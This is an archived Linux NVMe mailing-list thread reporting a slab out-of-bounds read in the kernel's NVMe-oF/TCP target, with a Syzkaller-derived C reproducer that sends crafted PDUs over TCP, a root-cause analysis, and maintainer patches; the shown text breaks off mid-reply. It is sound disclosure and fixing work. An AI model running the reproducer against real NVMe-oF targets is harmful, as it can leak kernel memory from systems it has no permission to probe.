linux-nvme.lists.infradead.org archive mirror
 help / color / mirror / Atom feed
* [Bug Report] NVMe-oF/TCP - Slab OOB Read in `nvmet_ctrl_find_get`
@ 2023-11-06 13:37 Alon Zahavi
  2023-11-08  8:46 ` Chaitanya Kulkarni
  0 siblings, 1 reply; 9+ messages in thread
From: Alon Zahavi @ 2023-11-06 13:37 UTC (permalink / raw)
  To: linux-nvme, Chaitanya Kulkarni, Sagi Grimberg, Christoph Hellwig

# Bug Overview

## Bug Summary
A slab out-of-bounds read happens in`nvmet_ctrl_find_get` execution,
when reaching a `pr_warn()`.

## Bug Location
`drivers/nvme/target/core.c` in the function `nvmet_ctrl_find_get`.

## Bug Class
Kernel Information Leak

## Disclaimer:
This bug was found using Syzkaller with NVMe-oF/TCP added support.

# Technical Details

## In a Few Words
Due to a string initialization without checking for NULL terminator, a
later print of that string can cause a kernel info leak.
Although the bug can be triggered remotely, the info leak is local only.

## Reproducer
DISCLAIMER: This reproducer was generated by Syzkaller, with some
optimizations by me.
```
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

uint64_t r[1] = {0xffffffffffffffff};

void loop(void)
{
  intptr_t res = 0;
  res = syscall(__NR_socket, /*domain=*/2ul, /*type=*/1ul, /*proto=*/0);
  if (res != -1)
    r[0] = res;
  *(uint16_t*)0x20000100 = 2;
  *(uint16_t*)0x20000102 = htobe16(0x1144);
  *(uint32_t*)0x20000104 = htobe32(0xc0a8eb8b);
  syscall(__NR_connect, /*fd=*/r[0], /*addr=*/0x20000100ul, /*addrlen=*/0x10ul);

  *(uint8_t*)0x200001c0 = 0;
  *(uint8_t*)0x200001c1 = 0;
  *(uint8_t*)0x200001c2 = 0x80;
  *(uint8_t*)0x200001c3 = 0;
  *(uint32_t*)0x200001c4 = 0x80;
  *(uint16_t*)0x200001c8 = 0;
  *(uint8_t*)0x200001ca = 0;
  *(uint8_t*)0x200001cb = 0;
  *(uint32_t*)0x200001cc = 0;
  memcpy((void*)0x200001d0,
         "\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf"
         "\xbf\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf\xbf"
         "\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35"
         "\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf\x86\xcf\xbf"
         "\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35"
         "\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86\xcf\xbf\x35\x86"
         "\xcf\xbf\x35\x86\x00\x00\x00\x00\x00\x00",
         112);
  syscall(__NR_sendto, /*fd=*/r[0], /*pdu=*/0x200001c0ul, /*len=*/0x80ul,
          /*f=*/0ul, /*addr=*/0ul, /*addrlen=*/0ul);

  *(uint8_t*)0x20000000 = 5;
  *(uint8_t*)0x20000001 = 1;
  *(uint8_t*)0x20000002 = 0;
  *(uint8_t*)0x20000003 = 0x3f;
  *(uint32_t*)0x20000004 = 0xbb7;
  *(uint32_t*)0x20000008 = 0x7ff;
  *(uint16_t*)0x20000010 = 4;
  *(uint16_t*)0x20000012 = 0x81;
  *(uint16_t*)0x20000014 = 7;
  *(uint16_t*)0x20000016 = 5;
  *(uint64_t*)0x20000080 = 0x20000440;
  memcpy(
      (void*)0x20000440,
      "\x39\x1f\xcb\x1d\x48\xf0\x52\x9a\x1a\xed\x88\xfe\x10\xa6\x2b\xcd\xfe\xbd"
      "\x3c\x87\xb7\x2d\x35\x8d\xb3\x14\x80\xcf\x0e\x51\x27\x71\x7b\xc2\x39\x93"
      "\x1a\xa6\xce\xaf\xe2\x2a\x5a\x2f\x04\x06\x5f\x50\x32\x52\x04\xf0\x9a\x4b"
      "\xac\xcc\x0d\x73\x9e\xb9\x60\x52\x4b\xe8\x47\xca\x3e\x9c\xaa\xdd\x50\x7d"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAB"
      , 841);
  syscall(__NR_sendto, /*fd=*/r[1], /*pdu=*/0x20000000ul, /*len=*/0x88ul,
          /*f=*/0ul, /*addr=*/0ul, /*addrlen=*/0ul);

  *(uint8_t*)0x200001c0 = 4;
  *(uint8_t*)0x200001c1 = 0;
  *(uint8_t*)0x200001c2 = 0x48;
  *(uint8_t*)0x200001c3 = 0;
  *(uint32_t*)0x200001c4 = 0x48;
  *(uint8_t*)0x200001c8 = 0x7f;
  *(uint8_t*)0x200001c9 = 0x40;
  *(uint16_t*)0x200001ca = 0;
  *(uint8_t*)0x200001cc = 1;
  memset((void*)0x200001cd, 0, 19);
  *(uint64_t*)0x200001e0 = 0;
  *(uint32_t*)0x200001e8 = 0x400;
  memcpy((void*)0x200001ec, "\x5f\x19\x6e", 3);
  *(uint8_t*)0x200001ef = 1;
  *(uint16_t*)0x200001f0 = 0;
  *(uint16_t*)0x200001f2 = 4;
  *(uint16_t*)0x200001f4 = 0;
  *(uint8_t*)0x200001f6 = 0;
  *(uint8_t*)0x200001f7 = 0;
  *(uint32_t*)0x200001f8 = 0;
  memset((void*)0x200001fc, 0, 12);
  syscall(__NR_sendto, /*fd=*/r[0], /*pdu=*/0x200001c0ul, /*len=*/0x80ul,
          /*f=*/0ul, /*addr=*/0ul, /*addrlen=*/0ul);
  *(uint8_t*)0x200003c0 = 4;
  *(uint8_t*)0x200003c1 = 0;
  *(uint8_t*)0x200003c2 = 0x48;
  *(uint8_t*)0x200003c3 = 0;
  *(uint32_t*)0x200003c4 = 0x48;
  *(uint8_t*)0x200003c8 = 0;
  *(uint8_t*)0x200003c9 = 0;
  *(uint16_t*)0x200003ca = 0;
  *(uint32_t*)0x200003cc = 0;
  *(uint64_t*)0x200003d0 = 0;
  *(uint64_t*)0x200003d8 = 0;
  *(uint64_t*)0x200003e0 = 0;
  memcpy((void*)0x200003e8, "\x11\x25\xed", 3);
  memcpy((void*)0x200003eb, "\x19\x15\x2c\x6a", 4);
  *(uint8_t*)0x200003ef = 0;
  *(uint32_t*)0x200003f0 = 0;
  *(uint32_t*)0x200003f4 = 0;
  *(uint32_t*)0x200003f8 = 0;
  *(uint32_t*)0x200003fc = 0;
  *(uint32_t*)0x20000400 = 0;
  *(uint32_t*)0x20000404 = 0;
  syscall(__NR_sendto, /*fd=*/r[0], /*pdu=*/0x200003c0ul, /*len=*/0xfffffe7aul,
          /*f=*/0ul, /*addr=*/0ul, /*addrlen=*/0ul);
}
int main(void)
{
  syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=*/7ul,
          /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
  loop();
  return 0;
}
```

## In More Details
### Tracing The Bug

In the reproducer below, we send, in the first `sendto`, the ICReq
packet for the NVMe/TCP target. After that, we are sending another
“Fabric Command” with the opcode 0x7f,
with some additional data. This additional data is 768 bytes that will
be later copied in the target to an SGL. The SGL’s data will later be
copied to an object of type `struct nvmf_connect_data` (Code Block 2)
during the execution of `nvmet_execute_io_connect` (Code Block 1).

Code Block 1:
```
static void nvmet_execute_io_connect(struct nvmet_req *req)
{
  ...

  struct nvmf_connect_data *d; // 1

  ...

  d = kmalloc(sizeof(*d), GFP_KERNEL);
  if (!d) {
    status = NVME_SC_INTERNAL;
    goto complete;
  }

  status = nvmet_copy_from_sgl(req, 0, d, sizeof(*d)); // 2
  if (status)
    goto out;

...

  ctrl = nvmet_ctrl_find_get(d->subsysnqn, d->hostnqn,
         le16_to_cpu(d->cntlid), req); // 3
  if (!ctrl) {
    status = NVME_SC_CONNECT_INVALID_PARAM | NVME_SC_DNR;
    goto out;
  }

...
}
```

Code Block 2:
```
struct nvmf_connect_data {
  uuid_t   hostid;
  __le16  cntlid;
  char      resv4[238];
  char      subsysnqn[NVMF_NQN_FIELD_LEN]; // NVMF_NQN_FIELD_LEN is 256
  char      hostnqn[NVMF_NQN_FIELD_LEN]; // NVMF_NQN_FIELD_LEN is 256
  char      resv5[256];
};
```

Code Block 1 Break Down:
1. The driver declares the variable d of type `struct
nvmf_connect_data` (See Code Block 2).
2. The driver uses `nvmet_copy_from_sgl` to copy the data from the SGL
to the variable `d`.
3. The driver calls the function `nvmet_ctrl_find_get` (Code block 3),
which will later on cause the slab OOB.

When filling `d`, The driver fills the entirety of d including
`subsysnqn`, `hostnqn`, and `resv5`. We know that `subsysnqn`,
`hostnqn` are supposed to be strings, but when filling `d`,
`nvmet_copy_from_sgl` ignores that fact and does not check if there is
a NULL terminator for those strings.

When the execution reaches the function `nvmet_ctrl_find_get`, if the
`nvmet_find_get_subsys` would not find the subsystem NQN, thus
returning 0, a warning would be printed, dereferencing `subsysnqn`
(which represents `d->subsysnqn`) as a string. Because we already know
that `d->subsysnqn` is not NULL terminated, the print operation will
overflow and will print `d->hostnqn` as well, and even overflow to
print `d->resv5`. The print will continue to overflow until the first
NULL will be reached. This behaviour will most likely cause an info
leak of kernel addresses, because `d` is allocated on the `kmalloc-1k`
slab cache, thus leaking the memory of the next object in the memory.

Code Block 3:
```
struct nvmet_ctrl *nvmet_ctrl_find_get(const char *subsysnqn,
      const char *hostnqn, u16 cntlid,
      struct nvmet_req *req)
{
struct nvmet_ctrl *ctrl = NULL;
struct nvmet_subsys *subsys;

subsys = nvmet_find_get_subsys(req->port, subsysnqn); // 1
if (!subsys) {
pr_warn("connect request for invalid subsystem %s!\\n", subsysnqn); // 2
req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(subsysnqn);
goto out;
}

  ...
}
```

Another thing to point out is the function `nvmf_connect_data_prep`.
There is an initialization there, in which both `subsysnqn` and
`hostnqn` are initialized using the strncpy with maximum size of
`NVMF_NQN_SIZE`, a macro for 223, the actual max length of an NQN
name.

Code Block 4:
```
// From `linux/include/nvme.h`

/* NQN names in commands fields specified one size */
#define NVMF_NQN_FIELD_LEN 256

/* However the max length of a qualified name is another size */
#define NVMF_NQN_SIZE 223
```

## Root Cause
As explained above, the root cause for this bug is the fact that there
are no NULL terminators to the strings in the object representing the
`struct nvmf_connect_data`.


^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [Bug Report] NVMe-oF/TCP - Slab OOB Read in `nvmet_ctrl_find_get`
  2023-11-06 13:37 [Bug Report] NVMe-oF/TCP - Slab OOB Read in `nvmet_ctrl_find_get` Alon Zahavi
@ 2023-11-08  8:46 ` Chaitanya Kulkarni
  2023-11-08  9:01   ` Alon Zahavi
  0 siblings, 1 reply; 9+ messages in thread
From: Chaitanya Kulkarni @ 2023-11-08  8:46 UTC (permalink / raw)
  To: Alon Zahavi; +Cc: Sagi Grimberg, Christoph Hellwig, linux-nvme


> ## Root Cause
> As explained above, the root cause for this bug is the fact that there
> are no NULL terminators to the strings in the object representing the
> `struct nvmf_connect_data`.

Can you see if this works for you ? it should at least take care of the
subsysnqn and hostnqn being accessed as NULL terminated string.

diff --git a/drivers/nvme/target/core.c b/drivers/nvme/target/core.c
index 3935165048e7..569046b6a269 100644
--- a/drivers/nvme/target/core.c
+++ b/drivers/nvme/target/core.c
@@ -1235,13 +1235,19 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const 
char *subsysnqn,
                                        const char *hostnqn, u16 cntlid,
                                        struct nvmet_req *req)
  {
+       char subsysnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
+       char hostnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
         struct nvmet_ctrl *ctrl = NULL;
         struct nvmet_subsys *subsys;

-       subsys = nvmet_find_get_subsys(req->port, subsysnqn);
+       /* subsysnqn & hostnqn may not be NULL ternimated */
+       strncpy(subsysnqn_str, subsysnqn, NVMF_NQN_SIZE);
+       strncpy(hostnqn_str, hostnqn, NVMF_NQN_SIZE);
+
+       subsys = nvmet_find_get_subsys(req->port, subsysnqn_str);
         if (!subsys) {
                 pr_warn("connect request for invalid subsystem %s!\n",
-                       subsysnqn);
+                       subsysnqn_str);
                 req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(subsysnqn);
                 goto out;
         }
@@ -1249,7 +1255,7 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const char 
*subsysnqn,
         mutex_lock(&subsys->lock);
         list_for_each_entry(ctrl, &subsys->ctrls, subsys_entry) {
                 if (ctrl->cntlid == cntlid) {
-                       if (strncmp(hostnqn, ctrl->hostnqn, 
NVMF_NQN_SIZE)) {
+                       if (strncmp(hostnqn_str, ctrl->hostnqn, 
NVMF_NQN_SIZE)) {
                                 pr_warn("hostnqn mismatch.\n");
                                 continue;
                         }
@@ -1263,7 +1269,7 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const char 
*subsysnqn,

         ctrl = NULL; /* ctrl not found */
         pr_warn("could not find controller %d for subsys %s / host %s\n",
-               cntlid, subsysnqn, hostnqn);
+               cntlid, subsysnqn_str, hostnqn_str);
         req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(cntlid);

  found:


-ck



^ permalink raw reply related	[flat|nested] 9+ messages in thread

* Re: [Bug Report] NVMe-oF/TCP - Slab OOB Read in `nvmet_ctrl_find_get`
  2023-11-08  8:46 ` Chaitanya Kulkarni
@ 2023-11-08  9:01   ` Alon Zahavi
  2023-11-08 10:02     ` Chaitanya Kulkarni
  0 siblings, 1 reply; 9+ messages in thread
From: Alon Zahavi @ 2023-11-08  9:01 UTC (permalink / raw)
  To: Chaitanya Kulkarni; +Cc: Sagi Grimberg, Christoph Hellwig, linux-nvme

On Wed, 8 Nov 2023 at 10:46, Chaitanya Kulkarni <chaitanyak@nvidia.com> wrote:
>
>
> > ## Root Cause
> > As explained above, the root cause for this bug is the fact that there
> > are no NULL terminators to the strings in the object representing the
> > `struct nvmf_connect_data`.
>
> Can you see if this works for you ? it should at least take care of the
> subsysnqn and hostnqn being accessed as NULL terminated string.
>
> diff --git a/drivers/nvme/target/core.c b/drivers/nvme/target/core.c
> index 3935165048e7..569046b6a269 100644
> --- a/drivers/nvme/target/core.c
> +++ b/drivers/nvme/target/core.c
> @@ -1235,13 +1235,19 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const
> char *subsysnqn,
>                                         const char *hostnqn, u16 cntlid,
>                                         struct nvmet_req *req)
>   {
> +       char subsysnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
> +       char hostnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
>          struct nvmet_ctrl *ctrl = NULL;
>          struct nvmet_subsys *subsys;
>
> -       subsys = nvmet_find_get_subsys(req->port, subsysnqn);
> +       /* subsysnqn & hostnqn may not be NULL ternimated */
> +       strncpy(subsysnqn_str, subsysnqn, NVMF_NQN_SIZE);
> +       strncpy(hostnqn_str, hostnqn, NVMF_NQN_SIZE);
> +
> +       subsys = nvmet_find_get_subsys(req->port, subsysnqn_str);
>          if (!subsys) {
>                  pr_warn("connect request for invalid subsystem %s!\n",
> -                       subsysnqn);
> +                       subsysnqn_str);
>                  req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(subsysnqn);
>                  goto out;
>          }
> @@ -1249,7 +1255,7 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const char
> *subsysnqn,
>          mutex_lock(&subsys->lock);
>          list_for_each_entry(ctrl, &subsys->ctrls, subsys_entry) {
>                  if (ctrl->cntlid == cntlid) {
> -                       if (strncmp(hostnqn, ctrl->hostnqn,
> NVMF_NQN_SIZE)) {
> +                       if (strncmp(hostnqn_str, ctrl->hostnqn,
> NVMF_NQN_SIZE)) {
>                                  pr_warn("hostnqn mismatch.\n");
>                                  continue;
>                          }
> @@ -1263,7 +1269,7 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const char
> *subsysnqn,
>
>          ctrl = NULL; /* ctrl not found */
>          pr_warn("could not find controller %d for subsys %s / host %s\n",
> -               cntlid, subsysnqn, hostnqn);
> +               cntlid, subsysnqn_str, hostnqn_str);
>          req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(cntlid);
>
>   found:
>
>
> -ck
>
>

Before I check it I should say that the same bug occurs in other
functions as well.
For example in `nvmet_alloc_ctrl()` there is the same print.

```
// From `linux/include/nvme.h`

/* NQN names in commands fields specified one size */
#define NVMF_NQN_FIELD_LEN 256

/* However the max length of a qualified name is another size */
#define NVMF_NQN_SIZE 223
```
From the macros above we can see that the actual NVMF_MAX_SIZE is 223
while the field in the original object is 256.
Can we zero out the array from index 223 till the end of the array
during the initialization of `subsysnqn` and `hostnqn`?
This way we can mitigate future problems with the same object's fields.

Thanks,
Alon.


^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [Bug Report] NVMe-oF/TCP - Slab OOB Read in `nvmet_ctrl_find_get`
  2023-11-08  9:01   ` Alon Zahavi
@ 2023-11-08 10:02     ` Chaitanya Kulkarni
  2023-11-08 11:02       ` Alon Zahavi
  0 siblings, 1 reply; 9+ messages in thread
From: Chaitanya Kulkarni @ 2023-11-08 10:02 UTC (permalink / raw)
  To: Alon Zahavi; +Cc: Sagi Grimberg, Christoph Hellwig, linux-nvme

On 11/8/23 01:01, Alon Zahavi wrote:
> On Wed, 8 Nov 2023 at 10:46, Chaitanya Kulkarni <chaitanyak@nvidia.com> wrote:
>>
>>> ## Root Cause
>>> As explained above, the root cause for this bug is the fact that there
>>> are no NULL terminators to the strings in the object representing the
>>> `struct nvmf_connect_data`.
>> Can you see if this works for you ? it should at least take care of the
>> subsysnqn and hostnqn being accessed as NULL terminated string.
>>
>> diff --git a/drivers/nvme/target/core.c b/drivers/nvme/target/core.c
>> index 3935165048e7..569046b6a269 100644
>> --- a/drivers/nvme/target/core.c
>> +++ b/drivers/nvme/target/core.c
>> @@ -1235,13 +1235,19 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const
>> char *subsysnqn,
>>                                          const char *hostnqn, u16 cntlid,
>>                                          struct nvmet_req *req)
>>    {
>> +       char subsysnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
>> +       char hostnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
>>           struct nvmet_ctrl *ctrl = NULL;
>>           struct nvmet_subsys *subsys;
>>
>> -       subsys = nvmet_find_get_subsys(req->port, subsysnqn);
>> +       /* subsysnqn & hostnqn may not be NULL ternimated */
>> +       strncpy(subsysnqn_str, subsysnqn, NVMF_NQN_SIZE);
>> +       strncpy(hostnqn_str, hostnqn, NVMF_NQN_SIZE);
>> +
>> +       subsys = nvmet_find_get_subsys(req->port, subsysnqn_str);
>>           if (!subsys) {
>>                   pr_warn("connect request for invalid subsystem %s!\n",
>> -                       subsysnqn);
>> +                       subsysnqn_str);
>>                   req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(subsysnqn);
>>                   goto out;
>>           }
>> @@ -1249,7 +1255,7 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const char
>> *subsysnqn,
>>           mutex_lock(&subsys->lock);
>>           list_for_each_entry(ctrl, &subsys->ctrls, subsys_entry) {
>>                   if (ctrl->cntlid == cntlid) {
>> -                       if (strncmp(hostnqn, ctrl->hostnqn,
>> NVMF_NQN_SIZE)) {
>> +                       if (strncmp(hostnqn_str, ctrl->hostnqn,
>> NVMF_NQN_SIZE)) {
>>                                   pr_warn("hostnqn mismatch.\n");
>>                                   continue;
>>                           }
>> @@ -1263,7 +1269,7 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const char
>> *subsysnqn,
>>
>>           ctrl = NULL; /* ctrl not found */
>>           pr_warn("could not find controller %d for subsys %s / host %s\n",
>> -               cntlid, subsysnqn, hostnqn);
>> +               cntlid, subsysnqn_str, hostnqn_str);
>>           req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(cntlid);
>>
>>    found:
>>
>>
>> -ck
>>
>>
> Before I check it I should say that the same bug occurs in other
> functions as well.
> For example in `nvmet_alloc_ctrl()` there is the same print.
>

yes it has same pattern and will need a same fix here is an updated
patch with nvmet_alloc_ctrl() fix :-


diff --git a/drivers/nvme/target/core.c b/drivers/nvme/target/core.c
index 3935165048e7..5c1a71d16df7 100644
--- a/drivers/nvme/target/core.c
+++ b/drivers/nvme/target/core.c
@@ -1235,13 +1235,19 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const 
char *subsysnqn,
                                        const char *hostnqn, u16 cntlid,
                                        struct nvmet_req *req)
  {
+       char subsysnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
+       char hostnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
         struct nvmet_ctrl *ctrl = NULL;
         struct nvmet_subsys *subsys;

-       subsys = nvmet_find_get_subsys(req->port, subsysnqn);
+       /* subsysnqn & hostnqn may not be NULL ternimated */
+       strncpy(subsysnqn_str, subsysnqn, NVMF_NQN_SIZE);
+       strncpy(hostnqn_str, hostnqn, NVMF_NQN_SIZE);
+
+       subsys = nvmet_find_get_subsys(req->port, subsysnqn_str);
         if (!subsys) {
                 pr_warn("connect request for invalid subsystem %s!\n",
-                       subsysnqn);
+                       subsysnqn_str);
                 req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(subsysnqn);
                 goto out;
         }
@@ -1249,7 +1255,7 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const char 
*subsysnqn,
         mutex_lock(&subsys->lock);
         list_for_each_entry(ctrl, &subsys->ctrls, subsys_entry) {
                 if (ctrl->cntlid == cntlid) {
-                       if (strncmp(hostnqn, ctrl->hostnqn, 
NVMF_NQN_SIZE)) {
+                       if (strncmp(hostnqn_str, ctrl->hostnqn, 
NVMF_NQN_SIZE)) {
                                 pr_warn("hostnqn mismatch.\n");
                                 continue;
                         }
@@ -1263,7 +1269,7 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const char 
*subsysnqn,

         ctrl = NULL; /* ctrl not found */
         pr_warn("could not find controller %d for subsys %s / host %s\n",
-               cntlid, subsysnqn, hostnqn);
+               cntlid, subsysnqn_str, hostnqn_str);
         req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(cntlid);

  found:
@@ -1358,25 +1364,32 @@ static void nvmet_fatal_error_handler(struct 
work_struct *work)
  u16 nvmet_alloc_ctrl(const char *subsysnqn, const char *hostnqn,
                 struct nvmet_req *req, u32 kato, struct nvmet_ctrl **ctrlp)
  {
+       char subsysnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
+       char hostnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
         struct nvmet_subsys *subsys;
         struct nvmet_ctrl *ctrl;
         int ret;
         u16 status;

         status = NVME_SC_CONNECT_INVALID_PARAM | NVME_SC_DNR;
-       subsys = nvmet_find_get_subsys(req->port, subsysnqn);
+
+       /* subsysnqn & hostnqn may not be NULL ternimated */
+       strncpy(subsysnqn_str, subsysnqn, NVMF_NQN_SIZE);
+       strncpy(hostnqn_str, hostnqn, NVMF_NQN_SIZE);
+
+       subsys = nvmet_find_get_subsys(req->port, subsysnqn_str);
         if (!subsys) {
                 pr_warn("connect request for invalid subsystem %s!\n",
-                       subsysnqn);
+                       subsysnqn_str);
                 req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(subsysnqn);
                 req->error_loc = offsetof(struct nvme_common_command, 
dptr);
                 goto out;
         }

         down_read(&nvmet_config_sem);
-       if (!nvmet_host_allowed(subsys, hostnqn)) {
+       if (!nvmet_host_allowed(subsys, hostnqn_str)) {
                 pr_info("connect by host %s for subsystem %s not 
allowed\n",
-                       hostnqn, subsysnqn);
+                       hostnqn_str, subsysnqn_str);
                 req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(hostnqn);
                 up_read(&nvmet_config_sem);
                 status = NVME_SC_CONNECT_INVALID_HOST | NVME_SC_DNR;

-ck



^ permalink raw reply related	[flat|nested] 9+ messages in thread

* Re: [Bug Report] NVMe-oF/TCP - Slab OOB Read in `nvmet_ctrl_find_get`
  2023-11-08 10:02     ` Chaitanya Kulkarni
@ 2023-11-08 11:02       ` Alon Zahavi
  2023-11-08 14:03         ` Christoph Hellwig
  0 siblings, 1 reply; 9+ messages in thread
From: Alon Zahavi @ 2023-11-08 11:02 UTC (permalink / raw)
  To: Chaitanya Kulkarni; +Cc: Sagi Grimberg, Christoph Hellwig, linux-nvme

On Wed, 8 Nov 2023 at 12:02, Chaitanya Kulkarni <chaitanyak@nvidia.com> wrote:
>
> On 11/8/23 01:01, Alon Zahavi wrote:
> > On Wed, 8 Nov 2023 at 10:46, Chaitanya Kulkarni <chaitanyak@nvidia.com> wrote:
> >>
> >>> ## Root Cause
> >>> As explained above, the root cause for this bug is the fact that there
> >>> are no NULL terminators to the strings in the object representing the
> >>> `struct nvmf_connect_data`.
> >> Can you see if this works for you ? it should at least take care of the
> >> subsysnqn and hostnqn being accessed as NULL terminated string.
> >>
> >> diff --git a/drivers/nvme/target/core.c b/drivers/nvme/target/core.c
> >> index 3935165048e7..569046b6a269 100644
> >> --- a/drivers/nvme/target/core.c
> >> +++ b/drivers/nvme/target/core.c
> >> @@ -1235,13 +1235,19 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const
> >> char *subsysnqn,
> >>                                          const char *hostnqn, u16 cntlid,
> >>                                          struct nvmet_req *req)
> >>    {
> >> +       char subsysnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
> >> +       char hostnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
> >>           struct nvmet_ctrl *ctrl = NULL;
> >>           struct nvmet_subsys *subsys;
> >>
> >> -       subsys = nvmet_find_get_subsys(req->port, subsysnqn);
> >> +       /* subsysnqn & hostnqn may not be NULL ternimated */
> >> +       strncpy(subsysnqn_str, subsysnqn, NVMF_NQN_SIZE);
> >> +       strncpy(hostnqn_str, hostnqn, NVMF_NQN_SIZE);
> >> +
> >> +       subsys = nvmet_find_get_subsys(req->port, subsysnqn_str);
> >>           if (!subsys) {
> >>                   pr_warn("connect request for invalid subsystem %s!\n",
> >> -                       subsysnqn);
> >> +                       subsysnqn_str);
> >>                   req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(subsysnqn);
> >>                   goto out;
> >>           }
> >> @@ -1249,7 +1255,7 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const char
> >> *subsysnqn,
> >>           mutex_lock(&subsys->lock);
> >>           list_for_each_entry(ctrl, &subsys->ctrls, subsys_entry) {
> >>                   if (ctrl->cntlid == cntlid) {
> >> -                       if (strncmp(hostnqn, ctrl->hostnqn,
> >> NVMF_NQN_SIZE)) {
> >> +                       if (strncmp(hostnqn_str, ctrl->hostnqn,
> >> NVMF_NQN_SIZE)) {
> >>                                   pr_warn("hostnqn mismatch.\n");
> >>                                   continue;
> >>                           }
> >> @@ -1263,7 +1269,7 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const char
> >> *subsysnqn,
> >>
> >>           ctrl = NULL; /* ctrl not found */
> >>           pr_warn("could not find controller %d for subsys %s / host %s\n",
> >> -               cntlid, subsysnqn, hostnqn);
> >> +               cntlid, subsysnqn_str, hostnqn_str);
> >>           req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(cntlid);
> >>
> >>    found:
> >>
> >>
> >> -ck
> >>
> >>
> > Before I check it I should say that the same bug occurs in other
> > functions as well.
> > For example in `nvmet_alloc_ctrl()` there is the same print.
> >
>
> yes it has same pattern and will need a same fix here is an updated
> patch with nvmet_alloc_ctrl() fix :-
>
>
> diff --git a/drivers/nvme/target/core.c b/drivers/nvme/target/core.c
> index 3935165048e7..5c1a71d16df7 100644
> --- a/drivers/nvme/target/core.c
> +++ b/drivers/nvme/target/core.c
> @@ -1235,13 +1235,19 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const
> char *subsysnqn,
